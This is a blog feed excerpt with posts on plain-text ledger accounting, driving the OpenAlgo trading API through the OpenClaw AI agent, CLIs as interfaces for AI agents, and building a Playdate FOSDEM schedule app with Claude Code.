<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ledger</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> main.ledger</span><span style="color: light-dark(#032F62, #96D0FF);"> bal</span><span style="color: light-dark(#032F62, #96D0FF);"> Expenses:Food</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">this month</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Export to CSV for Google Sheets:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ledger</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);"> main.ledger</span><span style="color: light-dark(#032F62, #96D0FF);"> csv</span><span style="color: light-dark(#032F62, #96D0FF);"> Expenses</span></span></code></pre><h3 id="4-extensibility-via-comments">4. Extensibility via Comments<a class="zola-anchor" href="#4-extensibility-via-comments" aria-label="Anchor link for: 4-extensibility-via-comments">#</a></h3>
<p>Gullak adds its own metadata using standard ledger comments, which are ignored by the accounting tools but used by the app:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>2026/01/21 Zomato</span></span>
<span class="giallo-l"><span>    ; gullak:id 7559a51f</span></span>
<span class="giallo-l"><span>    ; gullak:source whatsapp</span></span>
<span class="giallo-l"><span>    ; gullak:user 919876543210</span></span>
<span class="giallo-l"><span>    Expenses:Food:Delivery  584.23 INR</span></span></code></pre>
<ul>
<li><code>gullak:id</code>: A unique ID for CRUD operations.</li>
<li><code>gullak:source</code>: Provenance tracking (e.g., entered via WhatsApp, web, or CSV).</li>
<li><code>gullak:user</code>: Multi-user support.</li>
</ul>
<p>Custom tags for your own organization—like <code>; Recurring: Netflix</code>—just work out of the box.</p>
<h3 id="5-ecosystem-interoperability">5. Ecosystem Interoperability<a class="zola-anchor" href="#5-ecosystem-interoperability" aria-label="Anchor link for: 5-ecosystem-interoperability">#</a></h3>
<p>Because the format is standard, Gullak plays nice with others:</p>
<ul>
<li><strong>Paisa</strong>: Reads the same file for beautiful visualizations.</li>
<li><strong>hledger</strong>: A Haskell alternative that is drop-in compatible.</li>
<li><strong>Beancount</strong>: Can import ledger files.</li>
<li><strong>Text Editors</strong>: Any editor (VS Code, Vim, Sublime) is a valid client.</li>
</ul>
<h2 id="what-this-enables">What This Enables<a class="zola-anchor" href="#what-this-enables" aria-label="Anchor link for: what-this-enables">#</a></h2>
<table><thead><tr><th>Feature</th><th>How Plain Text Helps</th></tr></thead><tbody>
<tr><td><strong>WhatsApp logging</strong></td><td>AI parses “swiggy 500” → appends text to file</td></tr>
<tr><td><strong>Receipt OCR</strong></td><td>Extract data → format as ledger → append</td></tr>
<tr><td><strong>Bank CSV import</strong></td><td>Transform CSV → ledger format → append</td></tr>
<tr><td><strong>Transaction editing</strong></td><td>Find by <code>gullak:id</code> → text replacement</td></tr>
<tr><td><strong>Undo/history</strong></td><td>Git handles it for free</td></tr>
<tr><td><strong>Backup</strong></td><td><code>cp main.ledger backup.ledger</code></td></tr>
<tr><td><strong>Migration</strong></td><td>It’s text. There’s nothing to migrate.</td></tr>
</tbody></table>
<h2 id="the-trade-off">The Trade-off<a class="zola-anchor" href="#the-trade-off" aria-label="Anchor link for: the-trade-off">#</a></h2>
<p>Of course, you lose ACID transactions, database indexes, and complex SQL queries. But for personal finance, the scale makes these unnecessary trade-offs.</p>
<ul>
<li>You likely have 10-50 transactions a month.</li>
<li>Running <code>ledger bal</code> on 10 years of data takes less than 100ms.</li>
<li>The simplicity <em>is</em> the feature.</li>
</ul>
<h2 id="conclusion">Conclusion<a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a></h2>
<p>Adopting the ledger format turns Gullak from “yet another expense app” into a thin AI layer over your permanent financial record. By decoupling the data from the application logic, we ensure that the data remains accessible, hackable, and enduring.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Automating Trading with OpenAlgo and OpenClaw]]></title>
            <link>https://openalgo.medium.com/automating-trading-with-openalgo-and-openclaw-de55cc2b2d63?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/automating-trading-with-openalgo-and-openclaw-de55cc2b2d63?source=rss-cda86e929c3------2</guid>
            <pubDate>Sun, 01 Feb 2026 09:48:01 GMT</pubDate>
            <content:encoded><![CDATA[<p>For years, algorithmic trading automation meant one thing: code.<br> You needed to understand APIs, write scripts, manage servers, debug errors, and constantly maintain infrastructure. That barrier excluded a large number of traders who understood markets deeply but didn’t want to become full-time developers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gobXCG7IJC-n7BLQ3uB9Eg.png" /></figure><p>That equation is changing.</p><p>In this article, I want to share how <strong>OpenAlgo</strong>, combined with a personal AI agent like <strong>OpenClaw</strong>, fundamentally changes how traders and developers interact with trading systems, APIs, and workflows.</p><p>This is not about replacing algorithms or strategies.<br> It’s about <strong>changing the interface</strong> between humans and automation.</p><h3>What Is OpenAlgo?</h3><p>OpenAlgo is an open-source trading automation platform that provides a unified API layer across 25+ brokers. It allows traders to:</p><ul><li>Place orders programmatically</li><li>Fetch market data and historical data</li><li>Execute complex option strategies</li><li>Schedule and automate trading workflows</li><li>Work with sandbox and live environments</li></ul><p>All of this is available <strong>without broker lock-in</strong>, and without paying for proprietary platforms.</p><p>Traditionally, interacting with OpenAlgo meant writing Python code, understanding endpoints, and reading documentation. Powerful — but still technical.</p><h3>Enter OpenClaw: A Personal AI Automation Agent</h3><p>OpenClaw is a local, personal AI agent that runs on your machine or server. Unlike chatbots that live only in the browser, OpenClaw can:</p><ul><li>Read local files and codebases</li><li>Execute Python scripts and shell commands</li><li>Access APIs securely</li><li>Maintain long-term memory</li><li>Connect to chat interfaces like Telegram, Discord, WhatsApp, and Slack</li></ul><p>Think of it as <strong>your own AI operator</strong>, not a hosted SaaS chatbot.</p><p>When OpenClaw is connected to OpenAlgo, something interesting happens.</p><p>You stop <em>calling APIs</em>.<br> You start <em>talking to your trading system</em>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfezsMrqsdrg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfezsMrqsdrg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FfezsMrqsdrg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9668af1d49c9f7ae0ca8a261593880bc/href">https://medium.com/media/9668af1d49c9f7ae0ca8a261593880bc/href</a></iframe><h3>From API Calls to Natural Language Trading</h3><p>Once OpenClaw is given access to OpenAlgo’s API documentation and Python SDK, it builds an internal understanding of:</p><ul><li>Supported order types</li><li>Required parameters</li><li>Symbol formats</li><li>Broker constraints</li><li>Trading workflows</li></ul><p>At that point, you can issue instructions like:</p><ul><li>“Get my available funds”</li><li>“Place a CNC order for Reliance, quantity 10”</li><li>“Fetch last 5 days of daily data and save it as CSV”</li><li>“Schedule an order for NIFTY futures at 9:30 AM”</li><li>“Place an ATM straddle and add a 20% stop-loss on both legs”</li></ul><p>No endpoint memorization.<br> No boilerplate scripts.</p><p>OpenClaw figures out <em>how</em> to do it by reading the OpenAlgo docs and SDK, then executes the required steps.</p><h3>Memory Changes Everything</h3><p>One of the most powerful aspects of OpenClaw is <strong>persistent memory</strong>.</p><p>Once it learns:</p><ul><li>Your preferred order types</li><li>Required strategy fields</li><li>Symbol conventions</li><li>Stop-loss logic</li><li>Scheduling patterns</li></ul><p>…it remembers them.</p><p>If an order fails due to a missing parameter, OpenClaw learns the correction.<br> Next time, it doesn’t repeat the mistake.</p><p>This transforms automation from “execute commands” into “train an assistant”.</p><h3>Scheduling, Cron Jobs, and Time-Based Trading</h3><p>OpenAlgo already supports automation. OpenClaw takes this further by acting as the orchestrator.</p><p>You can:</p><ul><li>Schedule trades at exact times</li><li>Run Python scripts via cron jobs</li><li>Execute multi-step workflows:</li><li>Place order</li><li>Fetch positions</li><li>Calculate average price</li><li>Place stop-loss after a delay</li></ul><p>All of this can be triggered via natural language from Telegram or WhatsApp.</p><p>The execution still happens locally or on your server — <strong>not in the cloud</strong> — which keeps control and security in your hands.</p><h3>Options Trading and Strategy Automation</h3><p>Where this becomes truly powerful is in options trading.</p><p>Using OpenClaw with OpenAlgo, you can:</p><ul><li>Place ATM straddles automatically</li><li>Execute iron condors with defined leg distances</li><li>Add percentage-based stop-loss rules</li><li>Calculate break-even points</li><li>Estimate probability of profit</li><li>Fetch and process option Greeks</li><li>Re-enter strategies based on conditions</li></ul><p>The agent reads the documentation, figures out the correct API calls, and adapts based on feedback.</p><p>This kind of conversational strategy execution is extremely difficult to replicate with traditional rule-based systems.</p><h3>Historical Data, Backtesting, and Analysis</h3><p>OpenClaw can also:</p><ul><li>Download historical data via OpenAlgo</li><li>Store it as CSV automatically</li><li>Write Python scripts on the fly</li><li>Run backtests using libraries like VectorBT</li><li>Replace data sources like Yahoo Finance with broker-grade data</li></ul><p>You can literally say:</p><p>“Backtest a moving average crossover strategy on HDFC Bank for the last 5 years using OpenAlgo data.”</p><p>And it will:</p><ol><li>Fetch the data</li><li>Write the strategy code</li><li>Execute it</li><li>Return the results</li></ol><p>At that point, coding becomes optional.</p><h3>Multi-Channel Control: Telegram, Discord, WhatsApp, Slack</h3><p>One OpenClaw agent can connect to multiple interfaces at once.</p><p>That means:</p><ul><li>Telegram for personal trading control</li><li>Discord for community Q&amp;A</li><li>WhatsApp for server monitoring</li><li>Slack for internal team automation</li></ul><p>Each channel can have <strong>different permissions</strong>.</p><p>For example:</p><ul><li>Discord users get read-only access to OpenAlgo documentation</li><li>Personal WhatsApp has full server control</li><li>Telegram handles trading commands only</li></ul><p>This makes it possible to run community bots without exposing sensitive systems.</p><h3>Security and Guardrails Matter</h3><p>This power comes with responsibility.</p><p>OpenClaw can:</p><ul><li>Execute shell commands</li><li>Access files</li><li>Restart services</li></ul><p>So guardrails are essential:</p><ul><li>Use read-only permissions for public channels</li><li>Never expose API keys</li><li>Run experiments on isolated machines</li><li>Separate live trading from testing environments</li></ul><p>Used carelessly, it can be dangerous.<br> Used correctly, it’s transformative.</p><h3>Why This Matters</h3><p>This isn’t just about trading.</p><p>It’s about <strong>workflow automation without friction</strong>.</p><p>Coders gain speed.<br> Non-coders gain power.<br> Traders gain leverage.</p><p>APIs become conversational.<br> Automation becomes teachable.<br> Complexity becomes manageable.</p><p>For OpenAlgo users, this means:</p><ul><li>Faster experimentation</li><li>Lower learning curve</li><li>New ways to interact with markets</li><li>Automation without vendor lock-in</li></ul><h3>Final Thoughts</h3><p>I’ve largely stopped writing routine code.</p><p>Not because coding is obsolete — but because <strong>thinking at a higher level is now possible</strong>.</p><p>Instead of writing functions, I describe intent.<br> Instead of debugging syntax, I refine logic.<br> Instead of building tools, I train an assistant.</p><p>OpenAlgo provides the foundation.<br>OpenClaw provides the interface.</p><p>Together, they point to a future where <strong>automation is conversational, personal, and deeply customizable</strong>.</p><p>If you’re building something interesting with OpenAlgo and OpenClaw, share it.</p><p>This ecosystem is just getting started.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de55cc2b2d63" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>clawdbot</category>
            <category>openalgo</category>
            <category>openclaw</category>
            <category>python</category>
            <category>automated-trading</category>
        </item>
        <item>
            <title><![CDATA[CLIs are the New AI Interfaces]]></title>
            <link>https://mrkaran.dev/posts/plain-text-future/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/plain-text-future/</guid>
            <pubDate>Sat, 31 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[The industry is currently obsessed with defining standards for how Large Language Models (LLMs) should interact with software. We see a proliferation of SDKs, function calling schemas, and protocols like MCP (Model Context Protocol). They all aim to solve the same problem: bridging the gap between natural language intent and deterministic code execution.
But we might be reinventing the wheel.
The most effective tools for AI agents aren’t those wrapped in heavy “AI-native” integration layers. They are the tools that adhere to a philosophy established forty years ago: the command-line interface.
The Unix Philosophy as an AI Protocol#
An LLM’s native tongue is text. It reasons in tokens, generates strings, and parses patterns. The Unix philosophy, which emphasizes small tools, plain text interfaces, and standard streams, is accidentally the perfect protocol for AI interaction.
Consider the anatomy of a well-behaved CLI:
Discovery: tool --help explains capabilities without hallucination.
Structure: tool --json provides deterministic output for parsing.
Composition: Pipes (|) allow complex workflows to be assembled on the fly.
When you give an agent access to a robust CLI, you don’t need to define 50 separate function schemas. You give it a shell and a single instruction: “Figure it out using --help.”
Context Economy: Lazy vs. Eager Loading#
The current approach to agent tooling often involves dumping massive JSON schemas into the context window. Connecting to a standard MCP server might load dozens of tool definitions, involving thousands of tokens describing every possible parameter, before the user has even asked a question. This is “eager loading,” and it is expensive in terms of both latency and context window utilization.
A CLI-driven approach is “lazy loaded.”
The agent starts with zero knowledge of the tool’s internals. It burns zero tokens on schema definitions. Only when tasked with a specific goal does it invoke man or --help. It retrieves exactly the information needed to construct the command, executes it, and parses the result. This reflects the professional intuition of a senior engineer. We rarely memorize documentation. Instead, we prioritize the ability to quickly discover and apply the specific flags required for the task at hand.
Leveraging the Skills Pattern#
To bridge the gap between a raw CLI and an agent’s reasoning, we can leverage the Skills pattern. This is an emerging standard for agent-based systems where capabilities are documented as self-contained units of knowledge.
Instead of writing a Python wrapper that maps an API to a function call, you provide a Markdown file that explains when and why to use a specific CLI command. The agent uses this as a semantic index.
Here is a snippet from a logchef.md skill:
---
name: logchef
description: Query application logs via LogChef CLI. Use for investigating production incidents and analyzing traffic patterns.
---

## Common Workflows

| Goal           | Command Pattern       |
| -------------- | --------------------- |
| Error Analysis | `logchef sql "..."`   |
| Live Tail      | `logchef query '...'` |

## Example: Error Rates by Minute

To visualize error spikes, use aggregation:

```sql
logchef sql "SELECT toStartOfMinute(_timestamp) as ts, count() as errors
FROM logs.app_logs WHERE service='api-gateway' AND level='ERROR'
GROUP BY ts ORDER BY ts DESC LIMIT 60" --output json
```

When I ask an agent to “check for error spikes in the API gateway,” Claude identifies that this skill is relevant to the request and loads it on-demand. It sees the example, adapts the SQL query to the current context, and executes the CLI command. The Markdown file serves as a few-shot prompt, teaching the model how to use the tool effectively without rigid code constraints.
I maintain similar skill sets for AWS, Kubernetes, and Nomad. The AWS skill doesn’t wrap boto3; it simply documents useful aws ec2 and aws cloudwatch commands.
The Developer Experience: uv and Single-File CLIs#
When a CLI doesn’t exist, the barrier to creating one has never been lower. Modern Python tooling, specifically uv with its inline script metadata, allows us to treat CLIs as disposable, single-file artifacts.
I recently needed an agent to manage my Trello board. Rather than fighting with the Trello API documentation or looking for an abandoned library, I had the agent generate a CLI wrapper:
#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["typer", "httpx", "rich"]
# ///

import typer
import httpx
import json

app = typer.Typer()

@app.command()
def list_cards(list_id: str, format: str = "table"):
    """Fetch all cards from a specific list."""
    # Implementation details...
This script is self-contained. It defines its own dependencies. It implements --help and --json automatically via typer. It took minutes to generate and immediately unlocked Trello capabilities for the agent.
The SaaS Imperative#
The strategic takeaway for SaaS founders and platform engineers is significant. Your CLI is no longer just a developer convenience; it is your primary AI API.
We are moving past the era where a REST API and a web dashboard are sufficient. If your product lacks a terminal interface, you are locking out the growing workforce of AI agents.
Browser Automation is brittle, slow, and breaks with every UI update.
Direct API Integration puts the burden of schema management on the user.
CLIs offer a stable, discoverable, and composable interface that agents can learn and use autonomously.
The “hobby” CLI wrappers built by enthusiasts, such as those for Notion, Jira, or Spotify, are no longer just developer conveniences. They are becoming critical infrastructure. They provide the stable, text-based interface required for agents to interact with these platforms reliably.
If you want your platform to be AI-ready, don’t just build an MCP server. Build a great CLI. Make sure it supports --json. Write good man pages. The agents will figure out the rest.]]></description>
            <content:encoded><![CDATA[<p>The industry is currently obsessed with defining standards for how Large Language Models (LLMs) should interact with software. We see a proliferation of SDKs, function calling schemas, and protocols like MCP (Model Context Protocol). They all aim to solve the same problem: bridging the gap between natural language intent and deterministic code execution.</p>
<p>But we might be reinventing the wheel.</p>
<p>The most effective tools for AI agents aren’t those wrapped in heavy “AI-native” integration layers. They are the tools that adhere to a philosophy established forty years ago: the command-line interface.</p>
<h2 id="the-unix-philosophy-as-an-ai-protocol">The Unix Philosophy as an AI Protocol<a class="zola-anchor" href="#the-unix-philosophy-as-an-ai-protocol" aria-label="Anchor link for: the-unix-philosophy-as-an-ai-protocol">#</a></h2>
<p>An LLM’s native tongue is text. It reasons in tokens, generates strings, and parses patterns. The Unix philosophy, which emphasizes small tools, plain text interfaces, and standard streams, is accidentally the perfect protocol for AI interaction.</p>
<p>Consider the anatomy of a well-behaved CLI:</p>
<ul>
<li><strong>Discovery:</strong> <code>tool --help</code> explains capabilities without hallucination.</li>
<li><strong>Structure:</strong> <code>tool --json</code> provides deterministic output for parsing.</li>
<li><strong>Composition:</strong> Pipes (<code>|</code>) allow complex workflows to be assembled on the fly.</li>
</ul>
<p>When you give an agent access to a robust CLI, you don’t need to define 50 separate function schemas. You give it a shell and a single instruction: “Figure it out using <code>--help</code>.”</p>
<h2 id="context-economy-lazy-vs-eager-loading">Context Economy: Lazy vs. Eager Loading<a class="zola-anchor" href="#context-economy-lazy-vs-eager-loading" aria-label="Anchor link for: context-economy-lazy-vs-eager-loading">#</a></h2>
<p>The current approach to agent tooling often involves dumping massive JSON schemas into the context window. Connecting to a standard MCP server might load dozens of tool definitions, involving thousands of tokens describing every possible parameter, before the user has even asked a question. This is “eager loading,” and it is expensive in terms of both latency and context window utilization.</p>
<p>A CLI-driven approach is “lazy loaded.”</p>
<p>The agent starts with zero knowledge of the tool’s internals. It burns zero tokens on schema definitions. Only when tasked with a specific goal does it invoke <code>man</code> or <code>--help</code>. It retrieves exactly the information needed to construct the command, executes it, and parses the result. This reflects the professional intuition of a senior engineer. We rarely memorize documentation. Instead, we prioritize the ability to quickly discover and apply the specific flags required for the task at hand.</p>
<h2 id="leveraging-the-skills-pattern">Leveraging the Skills Pattern<a class="zola-anchor" href="#leveraging-the-skills-pattern" aria-label="Anchor link for: leveraging-the-skills-pattern">#</a></h2>
<p>To bridge the gap between a raw CLI and an agent’s reasoning, we can leverage the <a rel="external" href="https://platform.claude.com/docs/en/agents-and-tools/agent-skills/overview">Skills</a> pattern. This is an emerging standard for agent-based systems where capabilities are documented as self-contained units of knowledge.</p>
<p>Instead of writing a Python wrapper that maps an API to a function call, you provide a Markdown file that explains when and why to use a specific CLI command. The agent uses this as a semantic index.</p>
<p>Here is a snippet from a <code>logchef.md</code> skill:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="markdown"><span class="giallo-l"><span>---</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> l</span><span style="color: light-dark(#032F62, #96D0FF);">ogchef</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">d</span><span style="color: light-dark(#22863A, #8DDB8C);">escription</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> Q</span><span style="color: light-dark(#032F62, #96D0FF);">uery application logs via LogChef CLI. Use for investigating production incidents and analyzing traffic patterns.</span></span>
<span class="giallo-l"><span>---</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;">##</span><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;"> Common Workflows</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>|</span><span> Goal</span><span>           |</span><span> Command Pattern</span><span>       |</span></span>
<span class="giallo-l"><span>|</span><span> --------------</span><span> |</span><span> ---------------------</span><span> |</span></span>
<span class="giallo-l"><span>|</span><span> Error Analysis</span><span> |</span><span style="color: light-dark(#005CC5, #6CB6FF);"> `</span><span style="color: light-dark(#005CC5, #6CB6FF);">logchef sql &quot;...&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);">`</span><span>   |</span></span>
<span class="giallo-l"><span>|</span><span> Live Tail</span><span>      |</span><span style="color: light-dark(#005CC5, #6CB6FF);"> `</span><span style="color: light-dark(#005CC5, #6CB6FF);">logchef query &#39;...&#39;</span><span style="color: light-dark(#005CC5, #6CB6FF);">`</span><span> |</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;">##</span><span style="color: light-dark(#005CC5, #6CB6FF);font-weight: bold;"> Example: Error Rates by Minute</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>To visualize error spikes, use aggregation:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>```</span><span>sql</span></span>
<span class="giallo-l"><span>logchef </span><span style="color: light-dark(#D73A49, #F47067);">sql</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">SELECT toStartOfMinute(_timestamp) as ts, count() as errors</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">FROM logs.app_logs WHERE service=&#39;api-gateway&#39; AND level=&#39;ERROR&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">GROUP BY ts ORDER BY ts DESC LIMIT 60</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6A737D, #768390);"> --</span><span style="color: light-dark(#6A737D, #768390);">output json</span></span>
<span class="giallo-l"><span>```</span></span></code></pre>
<p><img src="https://mrkaran.dev/images/cli-ai-interfaces.png" alt="LogChef skill in action" /></p>
<p>When I ask an agent to “check for error spikes in the API gateway,” Claude identifies that this skill is relevant to the request and loads it on-demand. It sees the example, adapts the SQL query to the current context, and executes the CLI command. The Markdown file serves as a few-shot prompt, teaching the model how to use the tool effectively without rigid code constraints.</p>
<p>I maintain similar skill sets for AWS, Kubernetes, and Nomad. The AWS skill doesn’t wrap boto3; it simply documents useful <code>aws ec2</code> and <code>aws cloudwatch</code> commands.</p>
<h2 id="the-developer-experience-uv-and-single-file-clis">The Developer Experience: <code>uv</code> and Single-File CLIs<a class="zola-anchor" href="#the-developer-experience-uv-and-single-file-clis" aria-label="Anchor link for: the-developer-experience-uv-and-single-file-clis">#</a></h2>
<p>When a CLI doesn’t exist, the barrier to creating one has never been lower. Modern Python tooling, specifically <code>uv</code> with its inline script metadata, allows us to treat CLIs as disposable, single-file artifacts.</p>
<p>I recently needed an agent to manage my Trello board. Rather than fighting with the Trello API documentation or looking for an abandoned library, I had the agent generate a CLI wrapper:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);">!/usr/bin/env -S uv run --script</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> /// script</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> requires-python = &quot;&gt;=3.11&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> dependencies = [&quot;typer&quot;, &quot;httpx&quot;, &quot;rich&quot;]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> ///</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> typer</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> httpx</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> json</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>app</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> typer</span><span>.</span><span>Typer</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">@</span><span style="color: light-dark(#6F42C1, #DCBDFB);">app</span><span style="color: light-dark(#6F42C1, #DCBDFB);">.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">command</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> list_cards</span><span>(</span><span>list_id</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> str</span><span>,</span><span> format</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> str</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">table</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;&quot;&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Fetch all cards from a specific list.</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Implementation details...</span></span></code></pre>
<p>This script is self-contained. It defines its own dependencies. It implements <code>--help</code> and <code>--json</code> automatically via <code>typer</code>. It took minutes to generate and immediately unlocked Trello capabilities for the agent.</p>
<h2 id="the-saas-imperative">The SaaS Imperative<a class="zola-anchor" href="#the-saas-imperative" aria-label="Anchor link for: the-saas-imperative">#</a></h2>
<p>The strategic takeaway for SaaS founders and platform engineers is significant. Your CLI is no longer just a developer convenience; it is your primary AI API.</p>
<p>We are moving past the era where a REST API and a web dashboard are sufficient. If your product lacks a terminal interface, you are locking out the growing workforce of AI agents.</p>
<ul>
<li><strong>Browser Automation</strong> is brittle, slow, and breaks with every UI update.</li>
<li><strong>Direct API Integration</strong> puts the burden of schema management on the user.</li>
<li><strong>CLIs</strong> offer a stable, discoverable, and composable interface that agents can learn and use autonomously.</li>
</ul>
<p>The “hobby” CLI wrappers built by enthusiasts, such as those for Notion, Jira, or Spotify, are no longer just developer conveniences. They are becoming critical infrastructure. They provide the stable, text-based interface required for agents to interact with these platforms reliably.</p>
<p>If you want your platform to be AI-ready, don’t just build an MCP server. Build a great CLI. Make sure it supports <code>--json</code>. Write good man pages. The agents will figure out the rest.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Code is cheap. Show me the talk.]]></title>
            <link>https://nadh.in/blog/code-is-cheap/</link>
            <guid isPermaLink="false">https://nadh.in/blog/code-is-cheap/</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[TLDR; Software development, as it has been done for decades, is over. LLM coding tools have changed it fundamentally for the better or worse.
“Talk is cheap. Show me the code.” — Linus Torvalds, August 2000]]></description>
            <content:encoded><![CDATA[<p>TLDR; <em>Software development, as it has been done for decades, is over. LLM coding tools have changed it fundamentally for the better or worse.</em></p>
<hr>
<blockquote>
<p>&ldquo;Talk is cheap. Show me the code.&rdquo; — Linus Torvalds, August 2000</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Making Kurbelfahrplan]]></title>
            <link>https://captnemo.in/blog/2026/01/27/kurbelfahrplan/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2026/01/27/kurbelfahrplan/</guid>
            <pubDate>Tue, 27 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently published Kurbelfahrplan, a FOSDEM schedule
app for the Playdate. This was the first project
where I’ve been quite happy with using Claude Code for development, and used
it much beyond Copilot autocomplete and came closer to vibe-coding.

You can see the complete development transcript
of my claude-code session. It was interesting as a 2-day greenfield project and I
thought it might be nice to document my learnings/process a little bit.
I’d attempted building a game and an app on the playdate before (still WIP) so
I had some experience with the tooling. I’d moved on when faced with Lua
refactoring challenges1.
This time around, I had a fairly good idea of what the final app would look like:
the playdate has a lot of constraints that restrict the design space, and
existing apps all have feature parity.
Here’s some of the things I tried:
Specification
Gave a prompt to Gemini Pro and had it generate a SPEC. It included a link to the SDK,
a mention of the timezone workaround
2 - I wanted the app to only work in UTC+1 to avoid confusion. I passed it enough context
from the schedule.ics file, and on the data storage layer (make separate tables for each Devroom). I don’t have the prompt anymore but it was something like:
write a specification (passed to claude code) for a playdate lua app that will be a fosdem schedule calendar app. See
playdate docs at $link. At launch, we want to check the timezone by doing a diff between
epochFromTime and epochFromGMTTime, and then download the latest schedule in ICS format
from $link. Save the schedule as multiple tables in lua, one table for each category.
